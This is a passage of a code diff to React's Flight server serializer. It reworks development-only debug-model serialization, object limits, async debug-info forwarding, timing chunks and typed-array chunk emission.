+            case -1 /* Uninitialized */:
+            case 0 /* Pending */:
+              break;
+            case 1 /* Resolved */: {
+              const id = outlineDebugModel(request, counter, payload._result);
+              return serializeLazyID(id);
+            }
+            case 2 /* Rejected */: {
+              // We don't log these errors since they didn't actually throw into
+              // Flight.
+              const digest = '';
+              const id = request.nextChunkId++;
+              emitErrorChunk(request, id, digest, payload._result, true, null);
+              return serializeLazyID(id);
+            }
+          }
+
+          // React Flight
+          switch (payload.status) {
+            case 'pending':
+            case 'blocked':
+            case 'resolved_model':
+              // The value is an uninitialized model from the Flight client.
+              // It's not very useful to emit that.
+              break;
+            case 'resolved_module':
+              // The value is client reference metadata from the Flight client.
+              // It's likely for SSR, so we choose not to emit it.
+              break;
+            case 'fulfilled': {
+              const id = outlineDebugModel(request, counter, payload.value);
+              return serializeLazyID(id);
+            }
+            case 'rejected': {
+              // We don't log these errors since they didn't actually throw into
+              // Flight.
+              const digest = '';
+              const id = request.nextChunkId++;
+              emitErrorChunk(request, id, digest, payload.reason, true, null);
+              return serializeLazyID(id);
+            }
           }
-          return serializePromiseID(errorId);
         }
+
+        // We couldn't emit a resolved or rejected value synchronously. For now,
+        // we emit this as a halted chunk. TODO: We could maybe also handle
+        // pending lazy debug models like we do in serializeDebugThenable,
+        // if/when we determine that it's worth the added complexity.
+        request.pendingDebugChunks++;
+        const id = request.nextChunkId++;
+        emitDebugHaltChunk(request, id);
+        return serializeLazyID(id);
       }
-      // If it hasn't already resolved (and been instrumented) we just encode an infinite
-      // promise that will never resolve.
-      return serializeInfinitePromise();
     }
 
-    if (existingReference !== undefined) {
-      // We've already emitted this as a real object, so we can
-      // just refer to that by its existing reference.
-      return existingReference;
+    // $FlowFixMe[method-unbinding]
+    if (typeof value.then === 'function') {
+      const thenable: Thenable<any> = (value: any);
+      return serializeDebugThenable(request, counter, thenable);
     }
 
     if (isArray(value)) {
+      if (value.length > 200 && !doNotLimit.has(value)) {
+        // Defer large arrays. They're heavy to serialize.
+        // TODO: Consider doing the same for objects with many properties too.
+        return serializeDeferredObject(request, value);
+      }
       return value;
     }
 
+    if (value instanceof Date) {
+      return serializeDate(value);
+    }
     if (value instanceof Map) {
-      return serializeMap(request, value);
+      return serializeDebugMap(request, counter, value);
     }
     if (value instanceof Set) {
-      return serializeSet(request, value);
+      return serializeDebugSet(request, counter, value);
     }
     // TODO: FormData is not available in old Node. Remove the typeof later.
     if (typeof FormData === 'function' && value instanceof FormData) {
-      return serializeFormData(request, value);
+      return serializeDebugFormData(request, value);
     }
-
-    if (enableBinaryFlight) {
-      if (value instanceof ArrayBuffer) {
-        return serializeTypedArray(request, 'A', new Uint8Array(value));
-      }
-      if (value instanceof Int8Array) {
-        // char
-        return serializeTypedArray(request, 'O', value);
-      }
-      if (value instanceof Uint8Array) {
-        // unsigned char
-        return serializeTypedArray(request, 'o', value);
-      }
-      if (value instanceof Uint8ClampedArray) {
-        // unsigned clamped char
-        return serializeTypedArray(request, 'U', value);
-      }
-      if (value instanceof Int16Array) {
-        // sort
-        return serializeTypedArray(request, 'S', value);
-      }
-      if (value instanceof Uint16Array) {
-        // unsigned short
-        return serializeTypedArray(request, 's', value);
-      }
-      if (value instanceof Int32Array) {
-        // long
-        return serializeTypedArray(request, 'L', value);
-      }
-      if (value instanceof Uint32Array) {
-        // unsigned long
-        return serializeTypedArray(request, 'l', value);
-      }
-      if (value instanceof Float32Array) {
-        // float
-        return serializeTypedArray(request, 'G', value);
-      }
-      if (value instanceof Float64Array) {
-        // double
-        return serializeTypedArray(request, 'g', value);
-      }
-      if (value instanceof BigInt64Array) {
-        // number
-        return serializeTypedArray(request, 'M', value);
-      }
-      if (value instanceof BigUint64Array) {
-        // unsigned number
-        // We use "m" instead of "n" since JSON can start with "null"
-        return serializeTypedArray(request, 'm', value);
-      }
-      if (value instanceof DataView) {
-        return serializeTypedArray(request, 'V', value);
-      }
-      // TODO: Blob is not available in old Node. Remove the typeof check later.
-      if (typeof Blob === 'function' && value instanceof Blob) {
-        return serializeBlob(request, value);
-      }
+    if (value instanceof Error) {
+      return serializeDebugErrorValue(request, counter, value);
+    }
+    if (value instanceof ArrayBuffer) {
+      return serializeDebugTypedArray(request, 'A', new Uint8Array(value));
+    }
+    if (value instanceof Int8Array) {
+      // char
+      return serializeDebugTypedArray(request, 'O', value);
+    }
+    if (value instanceof Uint8Array) {
+      // unsigned char
+      return serializeDebugTypedArray(request, 'o', value);
+    }
+    if (value instanceof Uint8ClampedArray) {
+      // unsigned clamped char
+      return serializeDebugTypedArray(request, 'U', value);
+    }
+    if (value instanceof Int16Array) {
+      // sort
+      return serializeDebugTypedArray(request, 'S', value);
+    }
+    if (value instanceof Uint16Array) {
+      // unsigned short
+      return serializeDebugTypedArray(request, 's', value);
+    }
+    if (value instanceof Int32Array) {
+      // long
+      return serializeDebugTypedArray(request, 'L', value);
+    }
+    if (value instanceof Uint32Array) {
+      // unsigned long
+      return serializeDebugTypedArray(request, 'l', value);
+    }
+    if (value instanceof Float32Array) {
+      // float
+      return serializeDebugTypedArray(request, 'G', value);
+    }
+    if (value instanceof Float64Array) {
+      // double
+      return serializeDebugTypedArray(request, 'g', value);
+    }
+    if (value instanceof BigInt64Array) {
+      // number
+      return serializeDebugTypedArray(request, 'M', value);
+    }
+    if (value instanceof BigUint64Array) {
+      // unsigned number
+      // We use "m" instead of "n" since JSON can start with "null"
+      return serializeDebugTypedArray(request, 'm', value);
+    }
+    if (value instanceof DataView) {
+      return serializeDebugTypedArray(request, 'V', value);
+    }
+    // TODO: Blob is not available in old Node. Remove the typeof check later.
+    if (typeof Blob === 'function' && value instanceof Blob) {
+      return serializeDebugBlob(request, value);
     }
 
     const iteratorFn = getIteratorFn(value);
@@ -3103,22 +5082,51 @@ function renderConsoleValue(
       return Array.from((value: any));
     }
 
+    const proto = getPrototypeOf(value);
+    if (proto !== ObjectPrototype && proto !== null) {
+      const object: Object = value;
+      const instanceDescription: Object = Object.create(null);
+      for (const propName in object) {
+        if (hasOwnProperty.call(value, propName) || isGetter(proto, propName)) {
+          // We intentionally invoke getters on the prototype to read any enumerable getters.
+          instanceDescription[propName] = object[propName];
+        }
+      }
+      const constructor = proto.constructor;
+      if (
+        typeof constructor === 'function' &&
+        constructor.prototype === proto
+      ) {
+        // This is a simple class shape.
+        if (hasOwnProperty.call(object, '') || isGetter(proto, '')) {
+          // This object already has an empty property name. Skip encoding its prototype.
+        } else {
+          instanceDescription[''] = {
+            $$typeof: CONSTRUCTOR_MARKER,
+            constructor: constructor,
+          };
+        }
+      }
+      return instanceDescription;
+    }
+
     // $FlowFixMe[incompatible-return]
     return value;
   }
 
   if (typeof value === 'string') {
-    if (value[value.length - 1] === 'Z') {
-      // Possibly a Date, whose toJSON automatically calls toISOString
-      if (originalValue instanceof Date) {
-        return serializeDateFromDateJSON(value);
-      }
-    }
     if (value.length >= 1024) {
+      // Large strings are counted towards the object limit.
+      if (counter.objectLimit <= 0) {
+        // We've reached our max number of objects to serialize across the wire so we serialize this
+        // as a marker so that the client can error or lazy load this when accessed by the console.
+        return serializeDeferredObject(request, value);
+      }
+      counter.objectLimit--;
       // For large strings, we encode them outside the JSON payload so that we
       // don't have to double encode and double parse the strings. This can also
       // be more compact in case the string has a lot of escaped characters.
-      return serializeLargeTextString(request, value);
+      return serializeDebugLargeTextString(request, value);
     }
     return escapeStringValue(value);
   }
@@ -3137,7 +5145,7 @@ function renderConsoleValue(
 
   if (typeof value === 'function') {
     if (isClientReference(value)) {
-      return serializeClientReference(
+      return serializeDebugClientReference(
         request,
         parent,
         parentPropertyName,
@@ -3155,8 +5163,34 @@ function renderConsoleValue(
     }
 
     // Serialize the body of the function as an eval so it can be printed.
+    const writtenDebugObjects = request.writtenDebugObjects;
+    const existingReference = writtenDebugObjects.get(value);
+    if (existingReference !== undefined) {
+      // We've already emitted this function, so we can
+      // just refer to that by its existing reference.
+      return existingReference;
+    }
+
     // $FlowFixMe[method-unbinding]
-    return serializeEval('(' + Function.prototype.toString.call(value) + ')');
+    const functionBody: string = Function.prototype.toString.call(value);
+
+    const name = value.name;
+    const serializedValue = serializeEval(
+      typeof name === 'string'
+        ? 'Object.defineProperty(' +
+            functionBody +
+            ',"name",{value:' +
+            JSON.stringify(name) +
+            '})'
+        : '(' + functionBody + ')',
+    );
+    request.pendingDebugChunks++;
+    const id = request.nextChunkId++;
+    const processedChunk = encodeReferenceChunk(request, id, serializedValue);
+    request.completedDebugChunks.push(processedChunk);
+    const reference = serializeByValueID(id);
+    writtenDebugObjects.set(value, reference);
+    return reference;
   }
 
   if (typeof value === 'symbol') {
@@ -3181,18 +5215,12 @@ function renderConsoleValue(
   return 'unknown type ' + typeof value;
 }
 
-function outlineConsoleValue(
+function serializeDebugModel(
   request: Request,
-  counter: {objectCount: number},
-  model: ReactClientValue,
-): number {
-  if (!__DEV__) {
-    // These errors should never make it into a build so we don't need to encode them in codes.json
-    // eslint-disable-next-line react-internal/prod-error-codes
-    throw new Error(
-      'outlineConsoleValue should never be called in production mode. This is a bug in React.',
-    );
-  }
+  objectLimit: number,
+  model: mixed,
+): string {
+  const counter = {objectLimit: objectLimit};
 
   function replacer(
     this:
@@ -3202,46 +5230,57 @@ function outlineConsoleValue(
     value: ReactClientValue,
   ): ReactJSONValue {
     try {
-      return renderConsoleValue(
+      // By-pass toJSON and use the original value.
+      // $FlowFixMe[incompatible-use]
+      const originalValue = this[parentPropertyName];
+      return renderDebugModel(
         request,
         counter,
         this,
         parentPropertyName,
-        value,
+        originalValue,
       );
     } catch (x) {
-      return 'unknown value';
+      return (
+        'Unknown Value: React could not send it from the server.\n' + x.message
+      );
     }
   }
 
-  // $FlowFixMe[incompatible-type] stringify can return null
-  const json: string = stringify(model, replacer);
-
-  request.pendingChunks++;
-  const id = request.nextChunkId++;
-  const row = id.toString(16) + ':' + json + '\n';
-  const processedChunk = stringToChunk(row);
-  request.completedRegularChunks.push(processedChunk);
-  return id;
+  const prevNoOutline = debugNoOutline;
+  debugNoOutline = model;
+  try {
+    // $FlowFixMe[incompatible-cast] stringify can return null
+    return (stringify(model, replacer): string);
+  } catch (x) {
+    // $FlowFixMe[incompatible-cast] stringify can return null
+    return (stringify(
+      'Unknown Value: React could not send it from the server.\n' + x.message,
+    ): string);
+  } finally {
+    debugNoOutline = prevNoOutline;
+  }
 }
 
-function emitConsoleChunk(
+function emitOutlinedDebugModelChunk(
   request: Request,
   id: number,
-  methodName: string,
-  owner: null | ReactComponentInfo,
-  stackTrace: string,
-  args: Array<any>,
+  counter: {objectLimit: number},
+  model: ReactClientValue,
 ): void {
   if (!__DEV__) {
     // These errors should never make it into a build so we don't need to encode them in codes.json
     // eslint-disable-next-line react-internal/prod-error-codes
     throw new Error(
-      'emitConsoleChunk should never be called in production mode. This is a bug in React.',
+      'emitOutlinedDebugModel should never be called in production mode. This is a bug in React.',
     );
   }
 
-  const counter = {objectCount: 0};
+  if (typeof model === 'object' && model !== null) {
+    // We can't limit outlined values.
+    doNotLimit.add(model);
+  }
+
   function replacer(
     this:
       | {+[key: string | number]: ReactClientValue}
@@ -3250,130 +5289,458 @@ function emitConsoleChunk(
     value: ReactClientValue,
   ): ReactJSONValue {
     try {
-      return renderConsoleValue(
+      // By-pass toJSON and use the original value.
+      // $FlowFixMe[incompatible-use]
+      const originalValue = this[parentPropertyName];
+      return renderDebugModel(
         request,
         counter,
         this,
         parentPropertyName,
-        value,
+        originalValue,
       );
     } catch (x) {
-      return 'unknown value';
+      return (
+        'Unknown Value: React could not send it from the server.\n' + x.message
+      );
     }
   }
 
-  // TODO: Don't double badge if this log came from another Flight Client.
-  const env = request.environmentName();
+  const prevModelRoot = debugModelRoot;
+  debugModelRoot = model;
+  if (typeof model === 'object' && model !== null) {
+    // Future references can refer to this object by id.
+    request.writtenDebugObjects.set(model, serializeByValueID(id));
+  }
+  let json: string;
+  try {
+    // $FlowFixMe[incompatible-cast] stringify can return null
+    json = (stringify(model, replacer): string);
+  } catch (x) {
+    // $FlowFixMe[incompatible-cast] stringify can return null
+    json = (stringify(
+      'Unknown Value: React could not send it from the server.\n' + x.message,
+    ): string);
+  } finally {
+    debugModelRoot = prevModelRoot;
+  }
+
+  const row = id.toString(16) + ':' + json + '\n';
+  const processedChunk = stringToChunk(row);
+  request.completedDebugChunks.push(processedChunk);
+}
+
+function outlineDebugModel(
+  request: Request,
+  counter: {objectLimit: number},
+  model: ReactClientValue,
+): number {
+  if (!__DEV__) {
+    // These errors should never make it into a build so we don't need to encode them in codes.json
+    // eslint-disable-next-line react-internal/prod-error-codes
+    throw new Error(
+      'outlineDebugModel should never be called in production mode. This is a bug in React.',
+    );
+  }
+
+  const id = request.nextChunkId++;
+  request.pendingDebugChunks++;
+  emitOutlinedDebugModelChunk(request, id, counter, model);
+  return id;
+}
+
+function emitConsoleChunk(
+  request: Request,
+  methodName: string,
+  owner: null | ReactComponentInfo,
+  env: string,
+  stackTrace: ReactStackTrace,
+  args: Array<any>,
+): void {
+  if (!__DEV__) {
+    // These errors should never make it into a build so we don't need to encode them in codes.json
+    // eslint-disable-next-line react-internal/prod-error-codes
+    throw new Error(
+      'emitConsoleChunk should never be called in production mode. This is a bug in React.',
+    );
+  }
+
+  // Ensure the owner is already outlined.
+  if (owner != null) {
+    outlineComponentInfo(request, owner);
+  }
+
   const payload = [methodName, stackTrace, owner, env];
   // $FlowFixMe[method-unbinding]
   payload.push.apply(payload, args);
-  // $FlowFixMe[incompatible-type] stringify can return null
-  const json: string = stringify(payload, replacer);
-  const row = serializeRowHeader('W', id) + json + '\n';
+  const objectLimit = request.deferredDebugObjects === null ? 500 : 10;
+  let json = serializeDebugModel(
+    request,
+    objectLimit + stackTrace.length,
+    payload,
+  );
+  if (json[0] !== '[') {
+    // This looks like an error. Try a simpler object.
+    json = serializeDebugModel(request, 10 + stackTrace.length, [
+      methodName,
+      stackTrace,
+      owner,
+      env,
+      'Unknown Value: React could not send it from the server.',
+    ]);
+  }
+  const row = ':W' + json + '\n';
   const processedChunk = stringToChunk(row);
-  request.completedRegularChunks.push(processedChunk);
+  request.completedDebugChunks.push(processedChunk);
+}
+
+function emitTimeOriginChunk(request: Request, timeOrigin: number): void {
+  // We emit the time origin once. All ReactTimeInfo timestamps later in the stream
+  // are relative to this time origin. This allows for more compact number encoding
+  // and lower precision loss.
+  request.pendingDebugChunks++;
+  const row = ':N' + timeOrigin + '\n';
+  const processedChunk = stringToChunk(row);
+  // TODO: Move to its own priority queue.
+  request.completedDebugChunks.push(processedChunk);
 }
 
 function forwardDebugInfo(
   request: Request,
-  id: number,
+  task: Task,
   debugInfo: ReactDebugInfo,
 ) {
+  const id = task.id;
   for (let i = 0; i < debugInfo.length; i++) {
-    request.pendingChunks++;
-    if (typeof debugInfo[i].name === 'string') {
-      // We outline this model eagerly so that we can refer to by reference as an owner.
-      // If we had a smarter way to dedupe we might not have to do this if there ends up
-      // being no references to this as an owner.
-      outlineModel(request, debugInfo[i]);
+    const info = debugInfo[i];
+    if (typeof info.time === 'number') {
+      // When forwarding time we need to ensure to convert it to the time space of the payload.
+      // We clamp the time to the starting render of the current component. It's as if it took
+      // no time to render and await if we reuse cached content.
+      markOperationEndTime(request, task, info.time);
+    } else {
+      if (typeof info.name === 'string') {
+        // We outline this model eagerly so that we can refer to by reference as an owner.
+        // If we had a smarter way to dedupe we might not have to do this if there ends up
+        // being no references to this as an owner.
+        outlineComponentInfo(request, (info: any));
+        // Emit a reference to the outlined one.
+        request.pendingChunks++;
+        emitDebugChunk(request, id, info);
+      } else if (info.awaited) {
+        const ioInfo = info.awaited;
+        if (ioInfo.end <= request.timeOrigin) {
+          // This was already resolved when we started this render. It must have been some
+          // externally cached data. We exclude that information but we keep components and
+          // awaits that happened inside this render but might have been deduped within the
+          // render.
+        } else {
+          // Outline the IO info in case the same I/O is awaited in more than one place.
+          outlineIOInfo(request, ioInfo);
+          // Ensure the owner is already outlined.
+          if (info.owner != null) {
+            outlineComponentInfo(request, info.owner);
+          }
+          // We can't serialize the ConsoleTask/Error objects so we need to omit them before serializing.
+          let debugStack;
+          if (info.stack == null && info.debugStack != null) {
+            // If we have a debugStack but no parsed stack we should parse it.
+            debugStack = filterStackTrace(
+              request,
+              parseStackTrace(info.debugStack, 1),
+            );
+          } else {
+            debugStack = info.stack;
+          }
+          const debugAsyncInfo: Omit<
+            ReactAsyncInfo,
+            'debugTask' | 'debugStack',
+          > = {
+            awaited: ioInfo,
+          };
+          if (info.env != null) {
+            // $FlowFixMe[cannot-write]
+            debugAsyncInfo.env = info.env;
+          } else {
+            // If we're forwarding IO info from this environment, an empty env is effectively the "client" side.
+            // The "client" from the perspective of our client will be this current environment.
+            // $FlowFixMe[cannot-write]
+            debugAsyncInfo.env = (0, request.environmentName)();
+          }
+          if (info.owner != null) {
+            // $FlowFixMe[cannot-write]
+            debugAsyncInfo.owner = info.owner;
+          }
+          if (debugStack != null) {
+            // $FlowFixMe[cannot-write]
+            debugAsyncInfo.stack = debugStack;
+          }
+          request.pendingChunks++;
+          emitDebugChunk(request, id, debugAsyncInfo);
+        }
+      } else {
+        request.pendingChunks++;
+        emitDebugChunk(request, id, info);
+      }
     }
-    emitDebugChunk(request, id, debugInfo[i]);
   }
 }
 
-function emitChunk(
+function forwardDebugInfoFromThenable(
   request: Request,
   task: Task,
-  value: ReactClientValue,
+  thenable: Thenable<any>,
+  owner: null | ReactComponentInfo, // DEV-only
+  stack: null | Error, // DEV-only
 ): void {
-  const id = task.id;
-  // For certain types we have special types, we typically outlined them but
-  // we can emit them directly for this row instead of through an indirection.
-  if (typeof value === 'string') {
-    if (enableTaint) {
-      const tainted = TaintRegistryValues.get(value);
-      if (tainted !== undefined) {
-        throwTaintViolation(tainted.message);
-      }
+  let debugInfo: ?ReactDebugInfo;
+  if (__DEV__) {
+    // If this came from Flight, forward any debug info into this new row.
+    debugInfo = thenable._debugInfo;
+    if (debugInfo) {
+      forwardDebugInfo(request, task, debugInfo);
     }
-    emitTextChunk(request, id, value);
-    return;
   }
-  if (enableBinaryFlight) {
-    if (value instanceof ArrayBuffer) {
-      emitTypedArrayChunk(request, id, 'A', new Uint8Array(value));
-      return;
-    }
-    if (value instanceof Int8Array) {
-      // char
-      emitTypedArrayChunk(request, id, 'O', value);
-      return;
+  if (enableProfilerTimer && enableAsyncDebugInfo) {
+    const sequence = getAsyncSequenceFromPromise(thenable);
+    if (sequence !== null) {
+      emitAsyncSequence(request, task, sequence, debugInfo, owner, stack);
     }
-    if (value instanceof Uint8Array) {
-      // unsigned char
-      emitTypedArrayChunk(request, id, 'o', value);
-      return;
-    }
-    if (value instanceof Uint8ClampedArray) {
-      // unsigned clamped char
-      emitTypedArrayChunk(request, id, 'U', value);
-      return;
-    }
-    if (value instanceof Int16Array) {
-      // sort
-      emitTypedArrayChunk(request, id, 'S', value);
-      return;
-    }
-    if (value instanceof Uint16Array) {
-      // unsigned short
-      emitTypedArrayChunk(request, id, 's', value);
-      return;
-    }
-    if (value instanceof Int32Array) {
-      // long
-      emitTypedArrayChunk(request, id, 'L', value);
-      return;
-    }
-    if (value instanceof Uint32Array) {
-      // unsigned long
-      emitTypedArrayChunk(request, id, 'l', value);
-      return;
+  }
+}
+
+function forwardDebugInfoFromCurrentContext(
+  request: Request,
+  task: Task,
+  thenable: Thenable<any>,
+): void {
+  let debugInfo: ?ReactDebugInfo;
+  if (__DEV__) {
+    // If this came from Flight, forward any debug info into this new row.
+    debugInfo = thenable._debugInfo;
+    if (debugInfo) {
+      forwardDebugInfo(request, task, debugInfo);
     }
-    if (value instanceof Float32Array) {
-      // float
-      emitTypedArrayChunk(request, id, 'G', value);
-      return;
+  }
+  if (enableProfilerTimer && enableAsyncDebugInfo) {
+    const sequence = getCurrentAsyncSequence();
+    if (sequence !== null) {
+      emitAsyncSequence(request, task, sequence, debugInfo, null, null);
     }
-    if (value instanceof Float64Array) {
-      // double
-      emitTypedArrayChunk(request, id, 'g', value);
-      return;
+  }
+}
+
+function forwardDebugInfoFromAbortedTask(request: Request, task: Task): void {
+  // If a task is aborted, we can still include as much debug info as we can from the
+  // value that we have so far.
+  const model: any = task.model;
+  if (typeof model !== 'object' || model === null) {
+    return;
+  }
+  let debugInfo: ?ReactDebugInfo;
+  if (__DEV__) {
+    // If this came from Flight, forward any debug info into this new row.
+    debugInfo = model._debugInfo;
+    if (debugInfo) {
+      forwardDebugInfo(request, task, debugInfo);
     }
-    if (value instanceof BigInt64Array) {
-      // number
-      emitTypedArrayChunk(request, id, 'M', value);
-      return;
+  }
+  if (enableProfilerTimer && enableAsyncDebugInfo) {
+    let thenable: null | Thenable<any> = null;
+    if (typeof model.then === 'function') {
+      thenable = (model: any);
+    } else if (model.$$typeof === REACT_LAZY_TYPE) {
+      const payload = model._payload;
+      if (typeof payload.then === 'function') {
+        thenable = payload;
+      }
     }
-    if (value instanceof BigUint64Array) {
-      // unsigned number
-      // We use "m" instead of "n" since JSON can start with "null"
-      emitTypedArrayChunk(request, id, 'm', value);
-      return;
+    if (thenable !== null) {
+      const sequence = getAsyncSequenceFromPromise(thenable);
+      if (sequence !== null) {
+        let node = sequence;
+        while (node.tag === UNRESOLVED_AWAIT_NODE && node.awaited !== null) {
+          // See if any of the dependencies are resolved yet.
+          node = node.awaited;
+        }
+        if (node.tag === UNRESOLVED_PROMISE_NODE) {
+          // We don't know what Promise will eventually end up resolving this Promise and if it
+          // was I/O at all. However, we assume that it was some kind of I/O since it didn't
+          // complete in time before aborting.
+          // The best we can do is try to emit the stack of where this Promise was created.
+          serializeIONode(request, node, null);
+          request.pendingChunks++;
+          const env = (0, request.environmentName)();
+          const asyncInfo: ReactAsyncInfo = {
+            awaited: ((node: any): ReactIOInfo), // This is deduped by this reference.
+            env: env,
+          };
+          // We don't have a start time for this await but in case there was no start time emitted
+          // we need to include something. TODO: We should maybe ideally track the time when we
+          // called .then() but without updating the task.time field since that's used for the cutoff.
+          advanceTaskTime(request, task, task.time);
+          emitDebugChunk(request, task.id, asyncInfo);
+        } else {
+          // We have a resolved Promise. Its debug info can include both awaited data and rejected
+          // promises after the abort.
+          emitAsyncSequence(request, task, sequence, debugInfo, null, null);
+        }
+      }
     }
-    if (value instanceof DataView) {
-      emitTypedArrayChunk(request, id, 'V', value);
-      return;
+  }
+}
+
+function emitTimingChunk(
+  request: Request,
+  id: number,
+  timestamp: number,
+): void {
+  if (!enableProfilerTimer || !enableComponentPerformanceTrack) {
+    return;
+  }
+  request.pendingChunks++;
+  const relativeTimestamp = timestamp - request.timeOrigin;
+  const json = '{"time":' + relativeTimestamp + '}';
+  if (request.debugDestination !== null) {
+    // Outline the actual timing information to the debug channel.
+    const outlinedId = request.nextChunkId++;
+    const debugRow = outlinedId.toString(16) + ':' + json + '\n';
+    request.pendingDebugChunks++;
+    request.completedDebugChunks.push(stringToChunk(debugRow));
+    const row =
+      serializeRowHeader('D', id) + '"$' + outlinedId.toString(16) + '"\n';
+    request.completedRegularChunks.push(stringToChunk(row));
+  } else {
+    const row = serializeRowHeader('D', id) + json + '\n';
+    request.completedRegularChunks.push(stringToChunk(row));
+  }
+}
+
+function advanceTaskTime(
+  request: Request,
+  task: Task,
+  timestamp: number,
+): void {
+  if (
+    !enableProfilerTimer ||
+    (!enableComponentPerformanceTrack && !enableAsyncDebugInfo)
+  ) {
+    return;
+  }
+  // Emits a timing chunk, if the new timestamp is higher than the previous timestamp of this task.
+  if (timestamp > task.time) {
+    emitTimingChunk(request, task.id, timestamp);
+    task.time = timestamp;
+  } else if (!task.timed) {
+    // If it wasn't timed before, e.g. an outlined object, we need to emit the first timestamp and
+    // it is now timed.
+    emitTimingChunk(request, task.id, task.time);
+  }
+  task.timed = true;
+}
+
+function markOperationEndTime(request: Request, task: Task, timestamp: number) {
+  if (
+    !enableProfilerTimer ||
+    (!enableComponentPerformanceTrack && !enableAsyncDebugInfo)
+  ) {
+    return;
+  }
+  // This is like advanceTaskTime() but always emits a timing chunk even if it doesn't advance.
+  // This ensures that the end time of the previous entry isn't implied to be the start of the next one.
+  if (request.status === ABORTING && timestamp > request.abortTime) {
+    // If we're aborting then we don't emit any end times that happened after.
+    return;
+  }
+  if (timestamp > task.time) {
+    emitTimingChunk(request, task.id, timestamp);
+    task.time = timestamp;
+  } else {
+    emitTimingChunk(request, task.id, task.time);
+  }
+}
+
+function emitChunk(
+  request: Request,
+  task: Task,
+  value: ReactClientValue,
+): void {
+  const id = task.id;
+  // For certain types we have special types, we typically outlined them but
+  // we can emit them directly for this row instead of through an indirection.
+  if (typeof value === 'string' && byteLengthOfChunk !== null) {
+    if (enableTaint) {
+      const tainted = TaintRegistryValues.get(value);
+      if (tainted !== undefined) {
+        throwTaintViolation(tainted.message);
+      }
     }
+    emitTextChunk(request, id, value, false);
+    return;
+  }
+  if (value instanceof ArrayBuffer) {
+    emitTypedArrayChunk(request, id, 'A', new Uint8Array(value), false);
+    return;
+  }
+  if (value instanceof Int8Array) {
+    // char
+    emitTypedArrayChunk(request, id, 'O', value, false);
+    return;
+  }
+  if (value instanceof Uint8Array) {
+    // unsigned char
+    emitTypedArrayChunk(request, id, 'o', value, false);
+    return;
+  }
+  if (value instanceof Uint8ClampedArray) {
+    // unsigned clamped char
+    emitTypedArrayChunk(request, id, 'U', value, false);
+    return;
+  }
+  if (value instanceof Int16Array) {
+    // sort
+    emitTypedArrayChunk(request, id, 'S', value, false);
+    return;
+  }
+  if (value instanceof Uint16Array) {
+    // unsigned short
+    emitTypedArrayChunk(request, id, 's', value, false);
+    return;
+  }
+  if (value instanceof Int32Array) {
+    // long
+    emitTypedArrayChunk(request, id, 'L', value, false);
+    return;
+  }
+  if (value instanceof Uint32Array) {
+    // unsigned long
+    emitTypedArrayChunk(request, id, 'l', value, false);
+    return;
+  }
+  if (value instanceof Float32Array) {
+    // float
+    emitTypedArrayChunk(request, id, 'G', value, false);
+    return;
+  }
+  if (value instanceof Float64Array) {
+    // double
+    emitTypedArrayChunk(request, id, 'g', value, false);
+    return;
+  }
+  if (value instanceof BigInt64Array) {
+    // number
+    emitTypedArrayChunk(request, id, 'M', value, false);
+    return;
+  }
+  if (value instanceof BigUint64Array) {
+    // unsigned number
+    // We use "m" instead of "n" since JSON can start with "null"
+    emitTypedArrayChunk(request, id, 'm', value, false);
+    return;
+  }
+  if (value instanceof DataView) {
+    emitTypedArrayChunk(request, id, 'V', value, false);
+    return;
   }
   // For anything else we need to try to serialize it using JSON.
   // $FlowFixMe[incompatible-type] stringify can return null for undefined but we never do
@@ -3381,6 +5748,29 @@ function emitChunk(
   emitModelChunk(request, task.id, json);
 }
 
+function erroredTask(request: Request, task: Task, error: mixed): void {
+  if (
+    enableProfilerTimer &&
+    (enableComponentPerformanceTrack || enableAsyncDebugInfo)
+  ) {
+    if (task.timed) {
+      markOperationEndTime(request, task, performance.now());
+    }
+  }
+  task.status = ERRORED;
+  const digest = logRecoverableError(request, error, task);
+  emitErrorChunk(
+    request,
+    task.id,
+    digest,
+    error,
+    false,
+    __DEV__ ? task.debugOwner : null,
+  );
+  request.abortableTasks.delete(task);
+  callOnAllReadyIfReady(request);
+}
+
 const emptyRoot = {};
 
 function retryTask(request: Request, task: Task): void {
@@ -3389,9 +5779,14 @@ function retryTask(request: Request, task: Task): void {
     return;
   }
 
-  const prevDebugID = debugID;
+  const prevCanEmitDebugInfo = canEmitDebugInfo;
   task.status = RENDERING;
 
+  // We stash the outer parent size so we can restore it when we exit.
+  const parentSerializedSize = serializedSize;
+  // We don't reset the serialized size counter from reentry because that indicates that we
+  // are outlining a model and we actually want to include that size into the parent since
+  // it will still block the parent row. It only restores to zero at the top of the stack.
   try {
     // Track the root so we know that we have to emit this object even though it
     // already has an ID. This is needed because we might see this object twice
@@ -3399,8 +5794,8 @@ function retryTask(request: Request, task: Task): void {
     modelRoot = task.model;
 
     if (__DEV__) {
-      // Track the ID of the current task so we can assign debug info to this id.
-      debugID = task.id;
+      // Track that we can emit debug info for the current task.
+      canEmitDebugInfo = true;
     }
 
     // We call the destructive form that mutates this task. That way if something
@@ -3416,7 +5811,7 @@ function retryTask(request: Request, task: Task): void {
     if (__DEV__) {
       // We're now past rendering this task and future renders will spawn new tasks for their
       // debug info.
-      debugID = null;
+      canEmitDebugInfo = false;
     }
 
     // Track the root again for the resolved object.
@@ -3426,20 +5821,30 @@ function retryTask(request: Request, task: Task): void {
     task.keyPath = null;
     task.implicitSlot = false;
 
+    if (__DEV__) {
+      const currentEnv = (0, request.environmentName)();
+      if (currentEnv !== task.environmentName) {
+        request.pendingChunks++;
+        // The environment changed since we last emitted any debug information for this
+        // task. We emit an entry that just includes the environment name change.
+        emitDebugChunk(request, task.id, {env: currentEnv});
+      }
+    }
+    // We've finished rendering. Log the end time.
+    if (
+      enableProfilerTimer &&
+      (enableComponentPerformanceTrack || enableAsyncDebugInfo)
+    ) {
+      if (task.timed) {
+        markOperationEndTime(request, task, performance.now());
+      }
+    }
+
     if (typeof resolvedModel === 'object' && resolvedModel !== null) {
       // We're not in a contextual place here so we can refer to this object by this ID for
       // any future references.
       request.writtenObjects.set(resolvedModel, serializeByValueID(task.id));
 
-      if (__DEV__) {
-        const currentEnv = request.environmentName();
-        if (currentEnv !== task.environmentName) {
-          // The environment changed since we last emitted any debug information for this
-          // task. We emit an entry that just includes the environment name change.
-          emitDebugChunk(request, task.id, {env: currentEnv});
-        }
-      }
-
       // Object might contain unresolved values like additional elements.
       // This is simulating what the JSON loop would do if this was part of it.
       emitChunk(request, task, resolvedModel);
@@ -3448,22 +5853,30 @@ function retryTask(request: Request, task: Task): void {
       // We don't need to escape it again so it's not passed the toJSON replacer.
       // $FlowFixMe[incompatible-type] stringify can return null for undefined but we never do
       const json: string = stringify(resolvedModel);
